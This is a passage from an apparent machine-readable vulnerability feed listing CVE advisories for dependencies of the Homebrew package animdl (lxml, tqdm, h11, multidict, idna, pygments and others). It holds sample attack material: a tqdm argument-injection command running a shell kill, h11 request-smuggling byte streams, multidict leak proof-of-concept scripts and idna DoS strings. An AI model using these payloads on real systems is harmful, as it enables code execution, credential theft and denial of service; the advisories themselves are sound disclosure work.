SOAP::Lite"}]},"details":"In Soap Lite (aka the SOAP::Lite extension for Perl) 1.14 and earlier, an example attack consists of defining 10 or more XML entities, each defined as consisting of 10 of the previous entity, with the document consisting of a single instance of the largest entity, which expands to one billion copies of the first entity. The amount of computer memory used for handling an external SOAP call would likely exceed that available to the process parsing the XML.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"ADVISORY","url":"http://cpansearch.perl.org/src/PHRED/SOAP-Lite-1.20/Changes"},{"type":"WEB","url":"http://www.securityfocus.com/bid/94487"}]}],"animdl":[{"schema_version":"1.7.3","id":"BREW-animdl-CVE-2022-2309","published":"2026-08-13T16:35:16Z","modified":"2026-09-17T18:11:50Z","upstream":["GHSA-wrxv-2j5q-m38w","CVE-2022-2309","PYSEC-2022-230"],"affected":[{"package":{"ecosystem":"Homebrew","name":"animdl","purl":"pkg:brew/animdl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.7"},{"fixed":"1.7.11"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.9.1","resource":"lxml","resource_purl":"pkg:pypi/lxml@5.3.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"lxml","subject_version":"5.3.1","key":"pkg:pypi/lxml@5.3.1","resource":"lxml"}]},"summary":"lxml NULL Pointer Dereference allows attackers to cause a denial of service","details":"NULL Pointer Dereference allows attackers to cause a denial of service (or application crash). This only applies when lxml is used together with libxml2 2.9.10 through 2.9.14. libxml2 2.9.9 and earlier are not affected. It allows triggering crashes through forged input data, given a vulnerable code sequence in the application. The vulnerability is caused by the iterwalk function (also used by the canonicalize function). Such code shouldn't be in wide-spread use, given that parsing + iterwalk would usually be replaced with the more efficient iterparse function. However, an XML converter that serialises to C14N would also be vulnerable, for example, and there are legitimate use cases for this code sequence. If untrusted input is received (also remotely) and processed via iterwalk function, a crash can be triggered.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-2309"},{"type":"WEB","url":"https://github.com/lxml/lxml/commit/86368e9cf70a0ad23cccd5ee32de847149af0c6f"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-wrxv-2j5q-m38w"},{"type":"PACKAGE","url":"https://github.com/lxml/lxml"},{"type":"WEB","url":"https://github.com/lxml/lxml/blob/master/CHANGES.txt"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/lxml/PYSEC-2022-230.yaml"},{"type":"WEB","url":"https://huntr.dev/bounties/8264e74f-edda-4c40-9956-49de635105ba"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/09/msg00021.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/HGYC6L7ENH5VEGN3YWFBYMGKX6WNS7HZ"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/URHHSIBTPTALXMECRLAC2EVDNAFSR5NO"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202208-06"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20220915-0006"}]},{"schema_version":"1.7.3","id":"BREW-animdl-CVE-2023-52323","published":"2026-08-13T16:35:16Z","modified":"2026-10-07T23:36:48Z","upstream":["GHSA-j225-cvw7-qrx7","CVE-2023-52323","PYSEC-2024-3","PYSEC-2026-1811"],"affected":[{"package":{"ecosystem":"Homebrew","name":"animdl","purl":"pkg:brew/animdl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.3"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.19.1","resource":"pycryptodomex","resource_purl":"pkg:pypi/pycryptodomex@3.14.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pycryptodomex","subject_version":"3.14.1","key":"pkg:pypi/pycryptodomex@3.14.1","resource":"pycryptodomex"}]},"summary":"PyCryptodome and pycryptodomex side-channel leakage for OAEP decryption","details":"PyCryptodome and pycryptodomex before 3.19.1 allow side-channel leakage for OAEP decryption, exploitable for a Manger attack.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-52323"},{"type":"WEB","url":"https://github.com/Legrandin/pycryptodome/commit/0deea1bfe1489e8c80d2053bbb06a1aa0b181ebd"},{"type":"PACKAGE","url":"https://github.com/Legrandin/pycryptodome"},{"type":"WEB","url":"https://github.com/Legrandin/pycryptodome/blob/master/Changelog.rst"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pycryptodomex/PYSEC-2024-3.yaml"},{"type":"WEB","url":"https://pypi.org/project/pycryptodomex/#history"}]},{"schema_version":"1.7.3","id":"BREW-animdl-CVE-2024-34062","published":"2026-08-13T16:35:16Z","modified":"2026-10-07T23:36:48Z","upstream":["GHSA-g7vv-2v7x-gj9p","CVE-2024-34062","PYSEC-2026-1976"],"affected":[{"package":{"ecosystem":"Homebrew","name":"animdl","purl":"pkg:brew/animdl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.3"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"4.66.3","resource":"tqdm","resource_purl":"pkg:pypi/tqdm@4.65.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"tqdm","subject_version":"4.65.2","key":"pkg:pypi/tqdm@4.65.2","resource":"tqdm"}]},"summary":"tqdm CLI arguments injection attack","details":"### Impact\nAny optional non-boolean CLI arguments (e.g. `--delim`, `--buf-size`, `--manpath`) are passed through python's `eval`, allowing arbitrary code execution. Example:\n\n```sh\npython -m tqdm --manpath=\"\\\" + str(exec(\\\"import os\\nos.system('echo hi && killall python3')\\\")) + \\\"\"\n```\n\n### Patches\nhttps://github.com/tqdm/tqdm/commit/4e613f84ed2ae029559f539464df83fa91feb316 released in `tqdm>=4.66.3`\n\n### Workarounds\nNone\n\n### References\n- https://github.com/tqdm/tqdm/releases/tag/v4.66.3","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/tqdm/tqdm/security/advisories/GHSA-g7vv-2v7x-gj9p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-34062"},{"type":"WEB","url":"https://github.com/tqdm/tqdm/commit/4e613f84ed2ae029559f539464df83fa91feb316"},{"type":"PACKAGE","url":"https://github.com/tqdm/tqdm"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PA3GIGHPWAHCTT4UF57LTPZGWHAX3GW6"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QRECVQCCESHBS3UJOWNXQUIX725TKNY6"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VA337CYUS4SLRFV2P6MX6MZ2LKFURKJC"}]},{"schema_version":"1.7.3","id":"BREW-animdl-CVE-2024-3651","published":"2026-08-13T16:35:16Z","modified":"2026-10-12T17:31:18Z","upstream":["GHSA-jjg7-2v4v-x38h","CVE-2024-3651","PYSEC-2024-60"],"affected":[{"package":{"ecosystem":"Homebrew","name":"animdl","purl":"pkg:brew/animdl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.3"},{"fixed":"1.7.27_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.7","resource":"idna","resource_purl":"pkg:pypi/idna@3.20"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.20","key":"pkg:pypi/idna@3.20","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA) vulnerable to denial of service from specially crafted inputs to idna.encode","details":"### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nThe function has been refined to reject such strings without the associated resource consumption in version 3.7.\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.\n\n### References\n* https://huntr.com/bounties/93d78d07-d791-4b39-a845-cbfabc44aadb","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-jjg7-2v4v-x38h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-3651"},{"type":"WEB","url":"https://github.com/kjd/idna/commit/1d365e17e10d72d0b7876316fc7b9ca0eebdd38d"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2024-60.yaml"},{"type":"WEB","url":"https://huntr.com/bounties/93d78d07-d791-4b39-a845-cbfabc44aadb"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/05/msg00006.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4YQUPYH3SVZ5GFF2CDQ55FCM575AZTF2"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/F2S5E23N6E52S46KGNYTDFB75LOC4N4D"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/S5IDLLD2IKSIVRBSLB34WTSYGLMWUFWF"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ULSC7HBJKXB3BZV367WM5BR6DFEC4Z43"}]},{"schema_version":"1.7.3","id":"BREW-animdl-CVE-2025-43859","published":"2026-08-13T16:35:16Z","modified":"2026-10-29T21:29:49Z","upstream":["GHSA-vqfr-h8mv-ghfj","CVE-2025-43859","PYSEC-2026-348"],"affected":[{"package":{"ecosystem":"Homebrew","name":"animdl","purl":"pkg:brew/animdl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.3"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.16.0","resource":"h11","resource_purl":"pkg:pypi/h11@0.14.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"h11","subject_version":"0.14.0","key":"pkg:pypi/h11@0.14.0","resource":"h11"}]},"summary":"h11 accepts some malformed Chunked-Encoding bodies","details":"### Impact\n\nA leniency in h11's parsing of line terminators in chunked-coding message bodies can lead to request smuggling vulnerabilities under certain conditions.\n\n### Details\n\nHTTP/1.1 Chunked-Encoding bodies are formatted as a sequence of \"chunks\", each of which consists of:\n\n- chunk length\n- `\\r\\n`\n- `length` bytes of content\n- `\\r\\n`\n\nIn versions of h11 up to 0.14.0, h11 instead parsed them as:\n\n- chunk length\n- `\\r\\n`\n- `length` bytes of content\n- any two bytes\n\ni.e. it did not validate that the trailing `\\r\\n` bytes were correct, and if you put 2 bytes of garbage there it would be accepted, instead of correctly rejecting the body as malformed.\n\nBy itself this is harmless. However, suppose you have a proxy or reverse-proxy that tries to analyze HTTP requests, and your proxy has a _different_ bug in parsing Chunked-Encoding, acting as if the format is:\n\n- chunk length\n- `\\r\\n`\n- `length` bytes of content\n- more bytes of content, as many as it takes until you find a `\\r\\n`\n\nFor example, [pound](https://github.com/graygnuorg/pound/pull/43) had this bug -- it can happen if an implementer uses a generic \"read until end of line\" helper to consumes the trailing `\\r\\n`.\n\nIn this case, h11 and your proxy may both accept the same stream of bytes, but interpret them differently. For example, consider the following HTTP request(s) (assume all line breaks are `\\r\\n`):\n\n```\nGET /one HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n5\nAAAAAXX2\n45\n0\n\nGET /two HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n0\n```\n\nHere h11 will interpret it as two requests, one with body `AAAAA45` and one with an empty body, while our hypothetical buggy proxy will interpret it as a single request, with body `AAAAXX20\\r\\n\\r\\nGET /two ...`. And any time two HTTP processors both accept the same string of bytes but interpret them differently, you have the conditions for a \"request smuggling\" attack. For example, if `/two` is a dangerous endpoint and the job of the reverse proxy is to stop requests from getting there, then an attacker could use a bytestream like the above to circumvent this protection.\n\nEven worse, if our buggy reverse proxy receives two requests from different users:\n\n```\nGET /one HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n5\nAAAAAXX999\n0\n```\n\n```\nGET /two HTTP/1.1\nHost: localhost\nCookie: SESSION_KEY=abcdef...\n```\n\n...it will consider the first request to be complete and valid, and send both on to the h11-based web server over the same socket. The server will then see the two concatenated requests, and interpret them as _one_ request to `/one` whose body includes `/two`'s session key, potentially allowing one user to steal another's credentials.\n\n### Patches\n\nFixed in h11 0.15.0.\n\n### Workarounds\n\nSince exploitation requires the combination of buggy h11 with a buggy (reverse) proxy, fixing either component is sufficient to mitigate this issue.\n\n### Credits\n\nReported by Jeppe Bonde Weikop on 2025-01-09.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/python-hyper/h11/security/advisories/GHSA-vqfr-h8mv-ghfj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-43859"},{"type":"WEB","url":"https://github.com/python-hyper/h11/commit/114803a29ce50116dc47951c690ad4892b1a36ed"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/h11/PYSEC-2026-348.yaml"},{"type":"PACKAGE","url":"https://github.com/python-hyper/h11"},{"type":"WEB","url":"https://pypi.org/project/h11"}]},{"schema_version":"1.7.3","id":"BREW-animdl-CVE-2026-104874","published":"2026-10-06T09:10:07Z","modified":"2026-10-06T09:10:07Z","upstream":["GHSA-54p9-h82j-f925","CVE-2026-104874"],"affected":[{"package":{"ecosystem":"Homebrew","name":"animdl","purl":"pkg:brew/animdl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.27_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"6.9.1","resource":"multidict","resource_purl":"pkg:pypi/multidict@6.7.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"multidict","subject_version":"6.7.1","key":"pkg:pypi/multidict@6.7.1","resource":"multidict"}]},"summary":"Multidict: Reference leak in CIMultiDict/MultiDict items-view union and subtraction","details":"## Description\n\nA reference leak in the items-view union and subtraction operators of aio-libs/multidict 6.7.0 through 6.9.0 (C extension) lets a remote client drive unbounded, unreclaimable memory growth by having each operand element leak one key-identity object and one value object. The reflected-union path (`operand | d.items()`, `multidict_itemsview_or2_impl`) and the subtraction path (`d.items() - operand`, `multidict_itemsview_sub1_impl`) parse each element into new strong references but release only the tuple wrapper, never the identity and value. Servers in the aio-libs stack build these views over attacker-supplied HTTP headers and query strings, so the operand size is under remote control. Forced garbage collection does not recover the leaked objects, so resident memory rises monotonically until the process is killed.\n\n---\n\n## Root Cause\n\n`_multidict_itemsview_parse_item()` returns **new** references: a fresh identity via `md_calc_identity()` and a fresh value via `Py_NewRef()`. The `or2_impl` first parse loop requests both but clears only `arg`:\n\n```c\n// views.h:565 — or2_impl first parse loop\nwhile ((st = PyIter_NextItem(iter, &arg)) > 0) {\n    int tmp = _multidict_itemsview_parse_item(\n        self, arg, &identity, NULL, &value);   // identity + value: new refs\n    if (tmp < 0) goto fail;\n    else if (tmp > 0) {\n        if (_set_add(tmp_set, identity, value) < 0) goto fail;\n    }\n    Py_CLEAR(arg);                             // :575 clears arg ONLY\n}\n```\n\n`_set_add()` builds its own tuple with `PyTuple_Pack` and `Py_DECREF`s it, so it never borrows the loop's `identity`/`value`. On the next iteration those variables are overwritten, so the previous references are lost permanently. The `sub1_impl` first loop (`:686-696`) has the identical omission.\n\nThis is an editing slip, not an ownership contract: every sibling path clears all three references per iteration, `and1_impl` (`:304-306`), `and2_impl` (`:389-391`), `or1_impl` (`:506-508`), and the second (`md_next`) loops of both functions (`:605-607`, `:726-728`). PR #1413 added a `Py_DECREF(tpl)` to the *second* loop of `or2`/`sub1`, fixing a different temporary-tuple leak; it never touched the first parse loop, so this leak remains on `master`.\n\n`views.h` is byte-identical between `v6.6.0` and `v6.7.0`, yet 6.6.4 does not leak and 6.7.0 does. The regression is behavioural, introduced by a key-identity ownership change in `hashtable.h` across that boundary that made `md_calc_identity()` return a fresh strong reference the unchanged parse loop never releases.\n\n---\n\n## Reproduction Environment\n\n| Item | Value |\n|------|-------|\n| **Runtime** | CPython 3.14.6 |\n| **multidict** | 6.9.0 (PyPI binary wheel, C extension) |\n| **OS** | macOS (darwin 25.6.0, arm64) |\n\n---\n\n## Proof of Concept\n\n### POC Source Code\n\n#### poc_refcount.py — leak proof with intersection control\n\n```python\nimport sys, gc\nfrom multidict import CIMultiDict\n\ndef probe(name, run_op):\n    d = CIMultiDict(); d[\"seed\"] = \"x\"\n    value = object()                 # unique sentinel\n    N = 100000\n    operand = [(\"k%d\" % i, value) for i in range(N)]\n    gc.collect(); before = sys.getrefcount(value)\n    run_op(d, operand)\n    gc.collect(); after = sys.getrefcount(value)\n    print(f\"[{name}] leaked strong refs = {after - before}\")\n\nprobe(\"or2  operand | items\", lambda d, o: o | d.items())    # reflected union\nprobe(\"sub1 items - operand\", lambda d, o: d.items() - o)    # subtraction\nprobe(\"and2 items & operand\", lambda d, o: d.items() & o)    # CONTROL: clears, expect 0\n```\n\n#### poc_dispatch.py — maps which paths leak\n\n```python\nimport sys, gc\nfrom multidict import CIMultiDict\n\ndef probe(name, fn):\n    d = CIMultiDict(); d[\"seed\"] = \"x\"\n    v = object(); N = 50000\n    operand = [(\"k%d\" % i, v) for i in range(N)]\n    gc.collect(); before = sys.getrefcount(v)\n    fn(d, operand); gc.collect(); after = sys.getrefcount(v)\n    print(f\"{name:35s} leaked={after - before}\")\n\nprobe(\"operand | d.items()  (or2)\",  lambda d, o: o | d.items())\nprobe(\"d.items() | operand  (or1)\",  lambda d, o: d.items() | o)\nprobe(\"d.items() - operand  (sub1)\", lambda d, o: d.items() - o)\nprobe(\"operand - d.items()  (rsub)\", lambda d, o: set(o) - d.items())\nprobe(\"d.items() & operand  (and)\",  lambda d, o: d.items() & o)\n```\n\n#### poc_rss.py — availability consequence\n\n```python\nimport sys, gc, resource\nfrom multidict import CIMultiDict\n\ndef rss_mb():\n    r = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss\n    return r / (1024 * 1024) if sys.platform == \"darwin\" else r / 1024\n\nd = CIMultiDict(); d[\"seed\"] = \"x\"\ngc.collect(); print(f\"start RSS = {rss_mb():.1f} MB\")\nfor i in range(200):\n    operand = [(f\"k{i}_{j}\", f\"v{i}_{j}\") for j in range(50000)]\n    _ = operand | d.items()\n    del operand\n    gc.collect()                     # prove GC cannot reclaim the leak\n    if (i + 1) % 40 == 0:\n        print(f\"after {(i+1)*50000:>9,} elements: RSS = {rss_mb():.1f} MB\")\n```\n\n### Execution Steps\n\n1. `python3 -m venv venv` (CPython 3.10+).\n2. `./venv/bin/pip install \"multidict==6.9.0\"` (installs the C-extension wheel).\n3. From a directory that is **not** a multidict checkout, run each script with `./venv/bin/python`.\n\n### Actual Execution Evidence\n\n```\n[or2  operand | items] leaked strong refs = 100000\n[sub1 items - operand] leaked strong refs = 100000\n[and2 items & operand] leaked strong refs = 0        <- control\n```\n\n```\noperand | d.items()  (or2)          leaked=50000\nd.items() | operand  (or1)          leaked=0\nd.items() - operand  (sub1)         leaked=50000\noperand - d.items()  (rsub)         leaked=0\nd.items() & operand  (and)          leaked=0\n```\n\n```\nstart RSS = 15.6 MB\nafter 2,000,000 elements: RSS = 288.1 MB\nafter 6,000,000 elements: RSS = 776.8 MB\nafter 10,000,000 elements: RSS = 1266.8 MB   (gc.collect() every iteration)\n```\n\n### Version-boundary evidence\n\nSame `poc_dispatch.py`, PyPI wheels, identical environment. Last-clean is `6.6.4`; first-affected is `6.7.0`:\n\n```\n6.6.4 : or2=0      sub1=0      others=0   (clean, last 6.6.x)\n6.7.0 : or2=50000  sub1=50000  others=0   (AFFECTED, first)\n6.9.0 : or2=50000  sub1=50000  others=0   (affected)\n```\n\nThe clean 6.6.x releases return correct set-operation results, so the zero leak reflects correct memory management, not a broken path.\n\n### Analysis of Results\n\nThe operand holds exactly `N` references to one sentinel value; after the union its refcount rises by another `N` and stays there post-GC, so each element leaked one strong reference. Subtraction shows the identical delta. The intersection control, which clears `identity` and `value`, leaks zero; the only code difference is the two missing `Py_CLEAR` calls, so the leak is caused by that omission and not the harness. RSS climbs from 15.6 MB to 1266.8 MB (~250 MB per 2M elements) despite per-iteration GC, confirming the objects are unreachable by the cyclic collector.\n\n---\n\n## Impact\n\nA process that evaluates items-view unions or subtractions over remote-influenced operands leaks one identity plus one value object per element, permanently. In the aio-libs stack multidict backs HTTP headers and query strings, so an attacker who enlarges the operand (for example, many repeated header items compared against a fixed allow/deny set) forces steady, unrecoverable heap growth and can eventually exhaust memory in a long-lived server. This is an availability defect only; results stay correct and no data is exposed.\n\nReachability depends on the application evaluating `operand | view.items()` (reflected union) or `view.items() - operand` (subtraction) over a sequence of 2-tuples whose count is remote-influenced. The forward union `view.items() | operand` routes to `or1_impl`, which clears correctly and does not leak; a non-tuple operand element takes the `parse_item` early-return and does not leak. Set algebra over items views is not the most common multidict usage, which bounds exposure and is why this is Medium, not High. This is distinct from PR #1413, which fixed a temporary-tuple leak in the second loop and did not release these per-element objects.\n\n---\n\n## Remediation\n\n**Recommended fix.** Clear the two per-element references at the end of the first parse loop in both functions, exactly as every sibling path does. In `or2_impl` (`views.h:575`) and `sub1_impl` (`views.h:696`), replace the lone `Py_CLEAR(arg);` with:\n\n```c\n    Py_CLEAR(arg);\n    Py_CLEAR(identity);\n    Py_CLEAR(value);\n```\n\nThis is an in-repo change to a static internal function; it alters no public API, type, or signature, and asks callers to change nothing. A leak test in the existing `tests/test_leaks.py` style would lock it in.\n\n**Workaround.** Avoid `operand | view.items()` and `view.items() - operand` on attacker-influenced operands, or install with `MULTIDICT_NO_EXTENSIONS=1` to use the unaffected pure-Python build.\n\n---","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/multidict/security/advisories/GHSA-54p9-h82j-f925"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104874"},{"type":"WEB","url":"https://github.com/aio-libs/multidict/commit/350b4a07bf8ff851b6d7544e81b1c748bdc74c40"},{"type":"PACKAGE","url":"https://github.com/aio-libs/multidict"},{"type":"WEB","url":"https://github.com/aio-libs/multidict/releases/tag/v6.9.1"}]},{"schema_version":"1.7.3","id":"BREW-animdl-CVE-2026-41066","published":"2026-08-13T16:35:16Z","modified":"2026-10-13T22:29:06Z","upstream":["GHSA-vfmq-68hx-4jfw","CVE-2026-41066","PYSEC-2026-87"],"affected":[{"package":{"ecosystem":"Homebrew","name":"animdl","purl":"pkg:brew/animdl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.3"},{"fixed":"1.7.25"},{"introduced":"1.7.27"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"6.1.0","resource":"lxml","resource_purl":"pkg:pypi/lxml@5.3.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"lxml","subject_version":"5.3.1","key":"pkg:pypi/lxml@5.3.1","resource":"lxml"}]},"summary":"lxml: Default configuration of iterparse() and ETCompatXMLParser() allows XXE to local files","details":"### Impact\nUsing either of the two parsers in the default configuration (with `resolve_entities=True`) allows untrusted XML input to read local files.\n\n### Patches\nlxml 6.1.0 changes the default to `resolve_entities='internal'`, thus disallowing local file access by default.\n\n### Workarounds\nSetting the `resolve_entities` option explicitly to `resolve_entities='internal'` or `resolve_entities=False` disables the local file access.\n\n### Resources\nOriginal report: https://bugs.launchpad.net/lxml/+bug/2146291\n\nThe default option was changed to `resolve_entities='internal'` for the normal XML and HTML parsers in lxml 5.0. The default was not changed for `iterparse()` and `ETCompatXMLParser()` at the time. lxml 6.1 makes the safe option the default for all parsers.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/lxml/lxml/security/advisories/GHSA-vfmq-68hx-4jfw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41066"},{"type":"WEB","url":"https://bugs.launchpad.net/lxml/+bug/2146291"},{"type":"PACKAGE","url":"https://github.com/lxml/lxml"},{"type":"WEB","url":"https://github.com/lxml/lxml/releases/tag/lxml-6.1.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/lxml/PYSEC-2026-87.yaml"}]},{"schema_version":"1.7.3","id":"BREW-animdl-CVE-2026-4539","published":"2026-08-13T16:35:16Z","modified":"2026-10-12T17:31:18Z","upstream":["GHSA-5239-wwwm-4pmq","CVE-2026-4539","PYSEC-2026-2987"],"affected":[{"package":{"ecosystem":"Homebrew","name":"animdl","purl":"pkg:brew/animdl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.27"},{"fixed":"1.7.27_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.20.0","resource":"pygments","resource_purl":"pkg:pypi/pygments@2.21.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pygments","subject_version":"2.21.0","key":"pkg:pypi/pygments@2.21.0","resource":"pygments"}]},"summary":"Pygments has Regular Expression Denial of Service (ReDoS) due to Inefficient Regex for GUID Matching","details":"A security flaw has been discovered in pygments before 2.20.0. The impacted element is the function AdlLexer of the file pygments/lexers/archetype.py. The manipulation results in inefficient regular expression complexity. The attack is only possible with local access. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-4539"},{"type":"WEB","url":"https://github.com/pygments/pygments/issues/3058"},{"type":"WEB","url":"https://github.com/pygments/pygments/pull/3064"},{"type":"WEB","url":"https://github.com/pygments/pygments/commit/24b8aa76c6cd6d70f39c6dd605cce319c98e2ccc"},{"type":"PACKAGE","url":"https://github.com/pygments/pygments"},{"type":"WEB","url":"https://github.com/pygments/pygments/releases/tag/2.20.0"},{"type":"WEB","url":"https://vuldb.com/?ctiid.352327"},{"type":"WEB","url":"https://vuldb.com/?id.352327"},{"type":"WEB","url":"https://vuldb.com/?submit.774685"}]},{"schema_version":"1.7.3","id":"BREW-animdl-CVE-2026-45409","published":"2026-08-13T16:35:16Z","modified":"2026-10-07T23:36:48Z","upstream":["GHSA-65pc-fj4g-8rjx","CVE-2026-45409","PYSEC-2026-215"],"affected":[{"package":{"ecosystem":"Homebrew","name":"animdl","purl":"pkg:brew/animdl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.3"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.15","resource":"idna","resource_purl":"pkg:pypi/idna@3.12"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.12","key":"pkg:pypi/idna@3.12","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA): Specially crafted inputs to idna.encode() can bypass CVE-2024-3651 fix","details":"This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. Payloads such as `\"\\u0660\" * N` or `\"\\u30fb\" * N + \"\\u6f22\"` utilize the `valid_contexto` function prior to length rejection, and for high values of `N` will take a long time to process.\n\n### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nStarting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource 